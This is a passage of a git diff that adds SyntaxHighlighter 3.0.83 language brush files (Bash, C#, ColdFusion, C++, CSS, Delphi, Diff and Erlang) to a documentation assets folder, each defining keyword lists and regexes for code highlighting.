+						'uname unexpand uniq units unset unshar useradd usermod users uuencode uudecode v vdir ' +
+						'vi watch wc whereis which who whoami Wget xargs yes'
+						;
+
+		this.regexList = [
+			{ regex: /^#!.*$/gm,											css: 'preprocessor bold' },
+			{ regex: /\/[\w-\/]+/gm,										css: 'plain' },
+			{ regex: SyntaxHighlighter.regexLib.singleLinePerlComments,		css: 'comments' },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,			css: 'string' },		// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,			css: 'string' },		// single quoted strings
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),			css: 'keyword' },		// keywords
+			{ regex: new RegExp(this.getKeywords(commands), 'gm'),			css: 'functions' }		// commands
+			];
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['bash', 'shell'];
+
+	SyntaxHighlighter.brushes.Bash = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
new file mode 100644
index 0000000..079214e
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCSharp.js
@@ -0,0 +1,65 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'abstract as base bool break byte case catch char checked class const ' +
+						'continue decimal default delegate do double else enum event explicit ' +
+						'extern false finally fixed float for foreach get goto if implicit in int ' +
+						'interface internal is lock long namespace new null object operator out ' +
+						'override params private protected public readonly ref return sbyte sealed set ' +
+						'short sizeof stackalloc static string struct switch this throw true try ' +
+						'typeof uint ulong unchecked unsafe ushort using virtual void while';
+
+		function fixComments(match, regexInfo)
+		{
+			var css = (match[0].indexOf("///") == 0)
+				? 'color1'
+				: 'comments'
+				;
+			
+			return [new SyntaxHighlighter.Match(match[0], match.index, css)];
+		}
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	func : fixComments },		// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },			// multiline comments
+			{ regex: /@"(?:[^"]|"")*"/g,								css: 'string' },			// @-quoted strings
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },			// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },			// strings
+			{ regex: /^\s*#.*/gm,										css: 'preprocessor' },		// preprocessor tags like #region and #endregion
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword' },			// c# keyword
+			{ regex: /\bpartial(?=\s+(?:class|interface|struct)\b)/g,	css: 'keyword' },			// contextual keyword: 'partial'
+			{ regex: /\byield(?=\s+(?:return|break)\b)/g,				css: 'keyword' }			// contextual keyword: 'yield'
+			];
+		
+		this.forHtmlScript(SyntaxHighlighter.regexLib.aspScriptTags);
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['c#', 'c-sharp', 'csharp'];
+
+	SyntaxHighlighter.brushes.CSharp = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
+
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js b/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
new file mode 100644
index 0000000..627dbb9
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushColdFusion.js
@@ -0,0 +1,100 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Jen
+		// http://www.jensbits.com/2009/05/14/coldfusion-brush-for-syntaxhighlighter-plus
+	
+		var funcs	=	'Abs ACos AddSOAPRequestHeader AddSOAPResponseHeader AjaxLink AjaxOnLoad ArrayAppend ArrayAvg ArrayClear ArrayDeleteAt ' + 
+						'ArrayInsertAt ArrayIsDefined ArrayIsEmpty ArrayLen ArrayMax ArrayMin ArraySet ArraySort ArraySum ArraySwap ArrayToList ' + 
+						'Asc ASin Atn BinaryDecode BinaryEncode BitAnd BitMaskClear BitMaskRead BitMaskSet BitNot BitOr BitSHLN BitSHRN BitXor ' + 
+						'Ceiling CharsetDecode CharsetEncode Chr CJustify Compare CompareNoCase Cos CreateDate CreateDateTime CreateObject ' + 
+						'CreateODBCDate CreateODBCDateTime CreateODBCTime CreateTime CreateTimeSpan CreateUUID DateAdd DateCompare DateConvert ' + 
+						'DateDiff DateFormat DatePart Day DayOfWeek DayOfWeekAsString DayOfYear DaysInMonth DaysInYear DE DecimalFormat DecrementValue ' + 
+						'Decrypt DecryptBinary DeleteClientVariable DeserializeJSON DirectoryExists DollarFormat DotNetToCFType Duplicate Encrypt ' + 
+						'EncryptBinary Evaluate Exp ExpandPath FileClose FileCopy FileDelete FileExists FileIsEOF FileMove FileOpen FileRead ' + 
+						'FileReadBinary FileReadLine FileSetAccessMode FileSetAttribute FileSetLastModified FileWrite Find FindNoCase FindOneOf ' + 
+						'FirstDayOfMonth Fix FormatBaseN GenerateSecretKey GetAuthUser GetBaseTagData GetBaseTagList GetBaseTemplatePath ' + 
+						'GetClientVariablesList GetComponentMetaData GetContextRoot GetCurrentTemplatePath GetDirectoryFromPath GetEncoding ' + 
+						'GetException GetFileFromPath GetFileInfo GetFunctionList GetGatewayHelper GetHttpRequestData GetHttpTimeString ' + 
+						'GetK2ServerDocCount GetK2ServerDocCountLimit GetLocale GetLocaleDisplayName GetLocalHostIP GetMetaData GetMetricData ' + 
+						'GetPageContext GetPrinterInfo GetProfileSections GetProfileString GetReadableImageFormats GetSOAPRequest GetSOAPRequestHeader ' + 
+						'GetSOAPResponse GetSOAPResponseHeader GetTempDirectory GetTempFile GetTemplatePath GetTickCount GetTimeZoneInfo GetToken ' + 
+						'GetUserRoles GetWriteableImageFormats Hash Hour HTMLCodeFormat HTMLEditFormat IIf ImageAddBorder ImageBlur ImageClearRect ' + 
+						'ImageCopy ImageCrop ImageDrawArc ImageDrawBeveledRect ImageDrawCubicCurve ImageDrawLine ImageDrawLines ImageDrawOval ' + 
+						'ImageDrawPoint ImageDrawQuadraticCurve ImageDrawRect ImageDrawRoundRect ImageDrawText ImageFlip ImageGetBlob ImageGetBufferedImage ' + 
+						'ImageGetEXIFTag ImageGetHeight ImageGetIPTCTag ImageGetWidth ImageGrayscale ImageInfo ImageNegative ImageNew ImageOverlay ImagePaste ' + 
+						'ImageRead ImageReadBase64 ImageResize ImageRotate ImageRotateDrawingAxis ImageScaleToFit ImageSetAntialiasing ImageSetBackgroundColor ' + 
+						'ImageSetDrawingColor ImageSetDrawingStroke ImageSetDrawingTransparency ImageSharpen ImageShear ImageShearDrawingAxis ImageTranslate ' + 
+						'ImageTranslateDrawingAxis ImageWrite ImageWriteBase64 ImageXORDrawingMode IncrementValue InputBaseN Insert Int IsArray IsBinary ' + 
+						'IsBoolean IsCustomFunction IsDate IsDDX IsDebugMode IsDefined IsImage IsImageFile IsInstanceOf IsJSON IsLeapYear IsLocalHost ' + 
+						'IsNumeric IsNumericDate IsObject IsPDFFile IsPDFObject IsQuery IsSimpleValue IsSOAPRequest IsStruct IsUserInAnyRole IsUserInRole ' + 
+						'IsUserLoggedIn IsValid IsWDDX IsXML IsXmlAttribute IsXmlDoc IsXmlElem IsXmlNode IsXmlRoot JavaCast JSStringFormat LCase Left Len ' + 
+						'ListAppend ListChangeDelims ListContains ListContainsNoCase ListDeleteAt ListFind ListFindNoCase ListFirst ListGetAt ListInsertAt ' + 
+						'ListLast ListLen ListPrepend ListQualify ListRest ListSetAt ListSort ListToArray ListValueCount ListValueCountNoCase LJustify Log ' + 
+						'Log10 LSCurrencyFormat LSDateFormat LSEuroCurrencyFormat LSIsCurrency LSIsDate LSIsNumeric LSNumberFormat LSParseCurrency LSParseDateTime ' + 
+						'LSParseEuroCurrency LSParseNumber LSTimeFormat LTrim Max Mid Min Minute Month MonthAsString Now NumberFormat ParagraphFormat ParseDateTime ' + 
+						'Pi PrecisionEvaluate PreserveSingleQuotes Quarter QueryAddColumn QueryAddRow QueryConvertForGrid QueryNew QuerySetCell QuotedValueList Rand ' + 
+						'Randomize RandRange REFind REFindNoCase ReleaseComObject REMatch REMatchNoCase RemoveChars RepeatString Replace ReplaceList ReplaceNoCase ' + 
+						'REReplace REReplaceNoCase Reverse Right RJustify Round RTrim Second SendGatewayMessage SerializeJSON SetEncoding SetLocale SetProfileString ' + 
+						'SetVariable Sgn Sin Sleep SpanExcluding SpanIncluding Sqr StripCR StructAppend StructClear StructCopy StructCount StructDelete StructFind ' + 
+						'StructFindKey StructFindValue StructGet StructInsert StructIsEmpty StructKeyArray StructKeyExists StructKeyList StructKeyList StructNew ' + 
+						'StructSort StructUpdate Tan TimeFormat ToBase64 ToBinary ToScript ToString Trim UCase URLDecode URLEncodedFormat URLSessionFormat Val ' + 
+						'ValueList VerifyClient Week Wrap Wrap WriteOutput XmlChildPos XmlElemNew XmlFormat XmlGetNodeType XmlNew XmlParse XmlSearch XmlTransform ' + 
+						'XmlValidate Year YesNoFormat';
+
+		var keywords =	'cfabort cfajaximport cfajaxproxy cfapplet cfapplication cfargument cfassociate cfbreak cfcache cfcalendar ' + 
+						'cfcase cfcatch cfchart cfchartdata cfchartseries cfcol cfcollection cfcomponent cfcontent cfcookie cfdbinfo ' + 
+						'cfdefaultcase cfdirectory cfdiv cfdocument cfdocumentitem cfdocumentsection cfdump cfelse cfelseif cferror ' + 
+						'cfexchangecalendar cfexchangeconnection cfexchangecontact cfexchangefilter cfexchangemail cfexchangetask ' + 
+						'cfexecute cfexit cffeed cffile cfflush cfform cfformgroup cfformitem cfftp cffunction cfgrid cfgridcolumn ' + 
+						'cfgridrow cfgridupdate cfheader cfhtmlhead cfhttp cfhttpparam cfif cfimage cfimport cfinclude cfindex ' + 
+						'cfinput cfinsert cfinterface cfinvoke cfinvokeargument cflayout cflayoutarea cfldap cflocation cflock cflog ' + 
+						'cflogin cfloginuser cflogout cfloop cfmail cfmailparam cfmailpart cfmenu cfmenuitem cfmodule cfNTauthenticate ' + 
+						'cfobject cfobjectcache cfoutput cfparam cfpdf cfpdfform cfpdfformparam cfpdfparam cfpdfsubform cfpod cfpop ' + 
+						'cfpresentation cfpresentationslide cfpresenter cfprint cfprocessingdirective cfprocparam cfprocresult ' + 
+						'cfproperty cfquery cfqueryparam cfregistry cfreport cfreportparam cfrethrow cfreturn cfsavecontent cfschedule ' + 
+						'cfscript cfsearch cfselect cfset cfsetting cfsilent cfslider cfsprydataset cfstoredproc cfswitch cftable ' + 
+						'cftextarea cfthread cfthrow cftimer cftooltip cftrace cftransaction cftree cftreeitem cftry cfupdate cfwddx ' + 
+						'cfwindow cfxml cfzip cfzipparam';
+
+		var operators =	'all and any between cross in join like not null or outer some';
+
+		this.regexList = [
+			{ regex: new RegExp('--(.*)$', 'gm'),						css: 'comments' },  // one line and multiline comments
+			{ regex: SyntaxHighlighter.regexLib.xmlComments,			css: 'comments' },    // single quoted strings
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },    // double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },    // single quoted strings
+			{ regex: new RegExp(this.getKeywords(funcs), 'gmi'),		css: 'functions' }, // functions
+			{ regex: new RegExp(this.getKeywords(operators), 'gmi'),	css: 'color1' },    // operators and such
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),		css: 'keyword' }    // keyword
+			];
+	}
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['coldfusion','cf'];
+	
+	SyntaxHighlighter.brushes.ColdFusion = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
new file mode 100644
index 0000000..9f70d3a
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCpp.js
@@ -0,0 +1,97 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Copyright 2006 Shin, YoungJin
+	
+		var datatypes =	'ATOM BOOL BOOLEAN BYTE CHAR COLORREF DWORD DWORDLONG DWORD_PTR ' +
+						'DWORD32 DWORD64 FLOAT HACCEL HALF_PTR HANDLE HBITMAP HBRUSH ' +
+						'HCOLORSPACE HCONV HCONVLIST HCURSOR HDC HDDEDATA HDESK HDROP HDWP ' +
+						'HENHMETAFILE HFILE HFONT HGDIOBJ HGLOBAL HHOOK HICON HINSTANCE HKEY ' +
+						'HKL HLOCAL HMENU HMETAFILE HMODULE HMONITOR HPALETTE HPEN HRESULT ' +
+						'HRGN HRSRC HSZ HWINSTA HWND INT INT_PTR INT32 INT64 LANGID LCID LCTYPE ' +
+						'LGRPID LONG LONGLONG LONG_PTR LONG32 LONG64 LPARAM LPBOOL LPBYTE LPCOLORREF ' +
+						'LPCSTR LPCTSTR LPCVOID LPCWSTR LPDWORD LPHANDLE LPINT LPLONG LPSTR LPTSTR ' +
+						'LPVOID LPWORD LPWSTR LRESULT PBOOL PBOOLEAN PBYTE PCHAR PCSTR PCTSTR PCWSTR ' +
+						'PDWORDLONG PDWORD_PTR PDWORD32 PDWORD64 PFLOAT PHALF_PTR PHANDLE PHKEY PINT ' +
+						'PINT_PTR PINT32 PINT64 PLCID PLONG PLONGLONG PLONG_PTR PLONG32 PLONG64 POINTER_32 ' +
+						'POINTER_64 PSHORT PSIZE_T PSSIZE_T PSTR PTBYTE PTCHAR PTSTR PUCHAR PUHALF_PTR ' +
+						'PUINT PUINT_PTR PUINT32 PUINT64 PULONG PULONGLONG PULONG_PTR PULONG32 PULONG64 ' +
+						'PUSHORT PVOID PWCHAR PWORD PWSTR SC_HANDLE SC_LOCK SERVICE_STATUS_HANDLE SHORT ' +
+						'SIZE_T SSIZE_T TBYTE TCHAR UCHAR UHALF_PTR UINT UINT_PTR UINT32 UINT64 ULONG ' +
+						'ULONGLONG ULONG_PTR ULONG32 ULONG64 USHORT USN VOID WCHAR WORD WPARAM WPARAM WPARAM ' +
+						'char bool short int __int32 __int64 __int8 __int16 long float double __wchar_t ' +
+						'clock_t _complex _dev_t _diskfree_t div_t ldiv_t _exception _EXCEPTION_POINTERS ' +
+						'FILE _finddata_t _finddatai64_t _wfinddata_t _wfinddatai64_t __finddata64_t ' +
+						'__wfinddata64_t _FPIEEE_RECORD fpos_t _HEAPINFO _HFILE lconv intptr_t ' +
+						'jmp_buf mbstate_t _off_t _onexit_t _PNH ptrdiff_t _purecall_handler ' +
+						'sig_atomic_t size_t _stat __stat64 _stati64 terminate_function ' +
+						'time_t __time64_t _timeb __timeb64 tm uintptr_t _utimbuf ' +
+						'va_list wchar_t wctrans_t wctype_t wint_t signed';
+
+		var keywords =	'break case catch class const __finally __exception __try ' +
+						'const_cast continue private public protected __declspec ' +
+						'default delete deprecated dllexport dllimport do dynamic_cast ' +
+						'else enum explicit extern if for friend goto inline ' +
+						'mutable naked namespace new noinline noreturn nothrow ' +
+						'register reinterpret_cast return selectany ' +
+						'sizeof static static_cast struct switch template this ' +
+						'thread throw true false try typedef typeid typename union ' +
+						'using uuid virtual void volatile whcar_t while';
+					
+		var functions =	'assert isalnum isalpha iscntrl isdigit isgraph islower isprint' +
+						'ispunct isspace isupper isxdigit tolower toupper errno localeconv ' +
+						'setlocale acos asin atan atan2 ceil cos cosh exp fabs floor fmod ' +
+						'frexp ldexp log log10 modf pow sin sinh sqrt tan tanh jmp_buf ' +
+						'longjmp setjmp raise signal sig_atomic_t va_arg va_end va_start ' +
+						'clearerr fclose feof ferror fflush fgetc fgetpos fgets fopen ' +
+						'fprintf fputc fputs fread freopen fscanf fseek fsetpos ftell ' +
+						'fwrite getc getchar gets perror printf putc putchar puts remove ' +
+						'rename rewind scanf setbuf setvbuf sprintf sscanf tmpfile tmpnam ' +
+						'ungetc vfprintf vprintf vsprintf abort abs atexit atof atoi atol ' +
+						'bsearch calloc div exit free getenv labs ldiv malloc mblen mbstowcs ' +
+						'mbtowc qsort rand realloc srand strtod strtol strtoul system ' +
+						'wcstombs wctomb memchr memcmp memcpy memmove memset strcat strchr ' +
+						'strcmp strcoll strcpy strcspn strerror strlen strncat strncmp ' +
+						'strncpy strpbrk strrchr strspn strstr strtok strxfrm asctime ' +
+						'clock ctime difftime gmtime localtime mktime strftime time';
+
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },			// one line comments
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },			// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },			// strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },			// strings
+			{ regex: /^ *#.*/gm,										css: 'preprocessor' },
+			{ regex: new RegExp(this.getKeywords(datatypes), 'gm'),		css: 'color1 bold' },
+			{ regex: new RegExp(this.getKeywords(functions), 'gm'),		css: 'functions bold' },
+			{ regex: new RegExp(this.getKeywords(keywords), 'gm'),		css: 'keyword bold' }
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['cpp', 'c'];
+
+	SyntaxHighlighter.brushes.Cpp = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js b/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
new file mode 100644
index 0000000..4297a9a
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushCss.js
@@ -0,0 +1,91 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		function getKeywordsCSS(str)
+		{
+			return '\\b([a-z_]|)' + str.replace(/ /g, '(?=:)\\b|\\b([a-z_\\*]|\\*|)') + '(?=:)\\b';
+		};
+	
+		function getValuesCSS(str)
+		{
+			return '\\b' + str.replace(/ /g, '(?!-)(?!:)\\b|\\b()') + '\:\\b';
+		};
+
+		var keywords =	'ascent azimuth background-attachment background-color background-image background-position ' +
+						'background-repeat background baseline bbox border-collapse border-color border-spacing border-style border-top ' +
+						'border-right border-bottom border-left border-top-color border-right-color border-bottom-color border-left-color ' +
+						'border-top-style border-right-style border-bottom-style border-left-style border-top-width border-right-width ' +
+						'border-bottom-width border-left-width border-width border bottom cap-height caption-side centerline clear clip color ' +
+						'content counter-increment counter-reset cue-after cue-before cue cursor definition-src descent direction display ' +
+						'elevation empty-cells float font-size-adjust font-family font-size font-stretch font-style font-variant font-weight font ' +
+						'height left letter-spacing line-height list-style-image list-style-position list-style-type list-style margin-top ' +
+						'margin-right margin-bottom margin-left margin marker-offset marks mathline max-height max-width min-height min-width orphans ' +
+						'outline-color outline-style outline-width outline overflow padding-top padding-right padding-bottom padding-left padding page ' +
+						'page-break-after page-break-before page-break-inside pause pause-after pause-before pitch pitch-range play-during position ' +
+						'quotes right richness size slope src speak-header speak-numeral speak-punctuation speak speech-rate stemh stemv stress ' +
+						'table-layout text-align top text-decoration text-indent text-shadow text-transform unicode-bidi unicode-range units-per-em ' +
+						'vertical-align visibility voice-family volume white-space widows width widths word-spacing x-height z-index';
+
+		var values =	'above absolute all always aqua armenian attr aural auto avoid baseline behind below bidi-override black blink block blue bold bolder '+
+						'both bottom braille capitalize caption center center-left center-right circle close-quote code collapse compact condensed '+
+						'continuous counter counters crop cross crosshair cursive dashed decimal decimal-leading-zero default digits disc dotted double '+
+						'embed embossed e-resize expanded extra-condensed extra-expanded fantasy far-left far-right fast faster fixed format fuchsia '+
+						'gray green groove handheld hebrew help hidden hide high higher icon inline-table inline inset inside invert italic '+
+						'justify landscape large larger left-side left leftwards level lighter lime line-through list-item local loud lower-alpha '+
+						'lowercase lower-greek lower-latin lower-roman lower low ltr marker maroon medium message-box middle mix move narrower '+
+						'navy ne-resize no-close-quote none no-open-quote no-repeat normal nowrap n-resize nw-resize oblique olive once open-quote outset '+
+						'outside overline pointer portrait pre print projection purple red relative repeat repeat-x repeat-y rgb ridge right right-side '+
+						'rightwards rtl run-in screen scroll semi-condensed semi-expanded separate se-resize show silent silver slower slow '+
+						'small small-caps small-caption smaller soft solid speech spell-out square s-resize static status-bar sub super sw-resize '+
+						'table-caption table-cell table-column table-column-group table-footer-group table-header-group table-row table-row-group teal '+
+						'text-bottom text-top thick thin top transparent tty tv ultra-condensed ultra-expanded underline upper-alpha uppercase upper-latin '+
+						'upper-roman url visible wait white wider w-resize x-fast x-high x-large x-loud x-low x-slow x-small x-soft xx-large xx-small yellow';
+
+		var fonts =		'[mM]onospace [tT]ahoma [vV]erdana [aA]rial [hH]elvetica [sS]ans-serif [sS]erif [cC]ourier mono sans serif';
+	
+		this.regexList = [
+			{ regex: SyntaxHighlighter.regexLib.multiLineCComments,		css: 'comments' },	// multiline comments
+			{ regex: SyntaxHighlighter.regexLib.doubleQuotedString,		css: 'string' },	// double quoted strings
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },	// single quoted strings
+			{ regex: /\#[a-fA-F0-9]{3,6}/g,								css: 'value' },		// html colors
+			{ regex: /(-?\d+)(\.\d+)?(px|em|pt|\:|\%|)/g,				css: 'value' },		// sizes
+			{ regex: /!important/g,										css: 'color3' },	// !important
+			{ regex: new RegExp(getKeywordsCSS(keywords), 'gm'),		css: 'keyword' },	// keywords
+			{ regex: new RegExp(getValuesCSS(values), 'g'),				css: 'value' },		// values
+			{ regex: new RegExp(this.getKeywords(fonts), 'g'),			css: 'color1' }		// fonts
+			];
+
+		this.forHtmlScript({ 
+			left: /(<|<)\s*style.*?(>|>)/gi, 
+			right: /(<|<)\/\s*style\s*(>|>)/gi 
+			});
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['css'];
+
+	SyntaxHighlighter.brushes.CSS = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js b/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
new file mode 100644
index 0000000..e1060d4
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushDelphi.js
@@ -0,0 +1,55 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		var keywords =	'abs addr and ansichar ansistring array as asm begin boolean byte cardinal ' +
+						'case char class comp const constructor currency destructor div do double ' +
+						'downto else end except exports extended false file finalization finally ' +
+						'for function goto if implementation in inherited int64 initialization ' +
+						'integer interface is label library longint longword mod nil not object ' +
+						'of on or packed pansichar pansistring pchar pcurrency pdatetime pextended ' +
+						'pint64 pointer private procedure program property pshortstring pstring ' +
+						'pvariant pwidechar pwidestring protected public published raise real real48 ' +
+						'record repeat set shl shortint shortstring shr single smallint string then ' +
+						'threadvar to true try type unit until uses val var varirnt while widechar ' +
+						'widestring with word write writeln xor';
+
+		this.regexList = [
+			{ regex: /\(\*[\s\S]*?\*\)/gm,								css: 'comments' },  	// multiline comments (* *)
+			{ regex: /{(?!\$)[\s\S]*?}/gm,								css: 'comments' },  	// multiline comments { }
+			{ regex: SyntaxHighlighter.regexLib.singleLineCComments,	css: 'comments' },  	// one line
+			{ regex: SyntaxHighlighter.regexLib.singleQuotedString,		css: 'string' },		// strings
+			{ regex: /\{\$[a-zA-Z]+ .+\}/g,								css: 'color1' },		// compiler Directives and Region tags
+			{ regex: /\b[\d\.]+\b/g,									css: 'value' },			// numbers 12345
+			{ regex: /\$[a-zA-Z0-9]+\b/g,								css: 'value' },			// numbers $F5D3
+			{ regex: new RegExp(this.getKeywords(keywords), 'gmi'),		css: 'keyword' }		// keyword
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['delphi', 'pascal', 'pas'];
+
+	SyntaxHighlighter.brushes.Delphi = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js b/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
new file mode 100644
index 0000000..e9b14fc
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushDiff.js
@@ -0,0 +1,41 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		this.regexList = [
+			{ regex: /^\+\+\+.*$/gm,		css: 'color2' },
+			{ regex: /^\-\-\-.*$/gm,		css: 'color2' },
+			{ regex: /^\s.*$/gm,			css: 'color1' },
+			{ regex: /^@@.*@@$/gm,			css: 'variable' },
+			{ regex: /^\+[^\+]{1}.*$/gm,	css: 'string' },
+			{ regex: /^\-[^\-]{1}.*$/gm,	css: 'comments' }
+			];
+	};
+
+	Brush.prototype	= new SyntaxHighlighter.Highlighter();
+	Brush.aliases	= ['diff', 'patch'];
+
+	SyntaxHighlighter.brushes.Diff = Brush;
+
+	// CommonJS
+	typeof(exports) != 'undefined' ? exports.Brush = Brush : null;
+})();
diff --git a/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js b/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
new file mode 100644
index 0000000..6ba7d9d
--- /dev/null
+++ b/guides/assets/javascripts/syntaxhighlighter/shBrushErlang.js
@@ -0,0 +1,52 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+;(function()
+{
+	// CommonJS
+	typeof(require) != 'undefined' ? SyntaxHighlighter = require('shCore').SyntaxHighlighter : null;
+
+	function Brush()
+	{
+		// Contributed by Jean-Lou Dupont
+		// http://jldupont.blogspot.com/2009/06/erlang-syntax-highlighter.html  
+
+		// According to: http://erlang.org/doc/reference_manual/introduction.html#1.5
+		var keywords = 'after and andalso band begin bnot bor bsl bsr bxor '+
+			'case catch cond div end fun if let not of or orelse '+
+			'query receive rem try when xor'+
+			// additional
+			' module export import define';
+
+		this.regexList = [
+			{ regex: new RegExp("[A-Z][A-Za-z0-9_]+", 'g'), 			css: 'constants' },
